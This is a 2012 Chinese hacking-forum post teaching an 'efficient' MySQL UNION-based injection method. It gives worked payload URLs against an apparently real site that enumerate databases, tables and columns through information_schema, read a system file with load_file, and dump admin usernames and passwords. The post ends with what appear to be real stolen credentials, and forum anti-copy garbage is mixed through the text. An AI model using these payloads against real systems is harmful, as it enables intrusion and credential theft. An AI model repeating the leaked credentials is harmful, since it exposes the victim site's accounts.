找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2468|回复: 0
打印 上一主题 下一主题

mysql注入高效方法

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 16:37:34 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
此方法只适用于Mysql 5.0以及5.0以上版本 注入方法和mysql 5 类似
5 i& X- \3 R8 i但此方法大大提高了读取数据库的速度,此方法并非本人原创,原创出处是国外某牛人5 I9 {1 \3 d) ]7 [- b. k
' E0 ^% {1 C/ B/ R0 ?8 a
/ P  h/ h; |  h- \
优点在于可以利用information_schema库与group_concat的配合 来达到一次性读取出指定数据库里的内容,并且在limit被限制的情况下依然可以注入
' E' k+ U, n( W* {- {
$ h9 l3 W3 [4 r6 k缺点 当一个库存在几百甚至几千个表和表字段和数据的时候 读取出数据的时间会相当的慢...$ I4 W) @4 W3 K, U

) v! s2 I2 [7 P9 t下面用简单实例来演示 原理不多说,相信经常玩注入的朋友都知道了.只挑重要部分实例演示# x$ y+ t5 v; B' T- Y7 K
在注入时根据实际情况作出变化 比如过滤了空格,使用/**/ ,  + 等等
$ e: B  b0 c8 N! ]) c) M$ Q6 Y1 b2 ]3 c" l% ^7 B
http://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,8,database(),10,11,12,13,14,15,16,17
( r" h2 d8 j+ c4 Z0 s$ `5 t; r; K, @) c
读出所有库:
, [. w& N2 W6 I  }; w1 Rhttp://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,8,group_concat(schema_name),10,11,12,13,14,15,16,17 from information_schema.SCHEMATA
' `6 L' g6 Z* l$ @, a9 t' M$ C( O6 C2 [; M7 L/ N9 l7 O5 x
/ i& m9 _/ R& b& S! q  Y: j. a

7 E2 [$ T9 `9 S+ v读出所有表:
# \& q' |7 [4 n* p, ^http://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,8,group_concat(table_name),10,11,12,13,14,15,16,17 from information_schema.tables where table_schema=database(). T' \6 n# B! \( }: g' U( I
0 l( Q" O7 D3 t7 I$ k/ x( v! e
读出所有表字段:
5 C5 t' B% F( ~8 ]  |http://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,8,group_concat(column_name),10,11,12,13,14,15,16,17 from information_schema.COLUMNS where table_schema=database() and table_name=char(97,100,109,105,110)
0 X0 L: ^( P9 y*/ (97,100,109,105,110)为admin的ascii码 依次类推
3 x9 Y; C- o) ?% l; {
4 `; A( J5 o2 T7 {" u0 a- U7 {读出所有表字段里的内容:
% l% @0 o: G3 Whttp://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,group_concat(password),group_concat(admin),10,11,12,13,14,15,16,17 from admin- e0 I* U0 D- n' O# j# O" P$ e

5 c6 T6 F& z1 l$ D3 y; O" S- g
  v( m. T$ o0 o; e1 Z- z% i# _. k4 P, D  |  L  ?* @

" o" O, w( N) F
2 q/ L, r: D  w0 S
* X" n) o' {% r/ lhttp://www.political-security.co ... ;&ssec=-1+UNION SELECT+1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),load_file(CHAR(99, 58, 92, 98, 111, 111, 116, 46, 105, 110, 105)),4,5,6,7+%23
6 a1 ~, Y# B( [+ l3 i$ _0 O& |5 R" f; ]0 F5 S0 M5 J

  \* i# a( R2 `& U# i% Ghttp://www.political-security.co ... ;&ssec=-1+UNION SELECT+1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),group_concat(schema_name),4,5,6,7+from+information_schema.schemata%233 v3 e% `9 U3 v- [

3 b9 z# t  v4 r# @( g1 Phttp://www.political-security.co ... ;&ssec=-1+UNION SELECT+1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),group_concat(column_name),4,5,6,7+from+information_schema.COLUMNS where table_schema=database()+and+table_name=char(97,100,109,105,110)%23% w0 T: V5 d- \' m% [2 I7 C
; s0 \% l* h) d& E9 ?

( t) G! m# F: I! \2 P6 ?& H4 ?http://www.political-security.co ... ;&ssec=-1+UNION SELECT+1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),group_concat(admin_name,0x3a,admin_password),4,5,6,7+from+admin%23$ s% R- g1 P9 v* N
" |% O& c# {! ?( E8 k2 {# }

" x/ s+ M+ P$ I        webmaster:dzb521123,simlab:simadmin20043233( ], q: X* a2 A
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表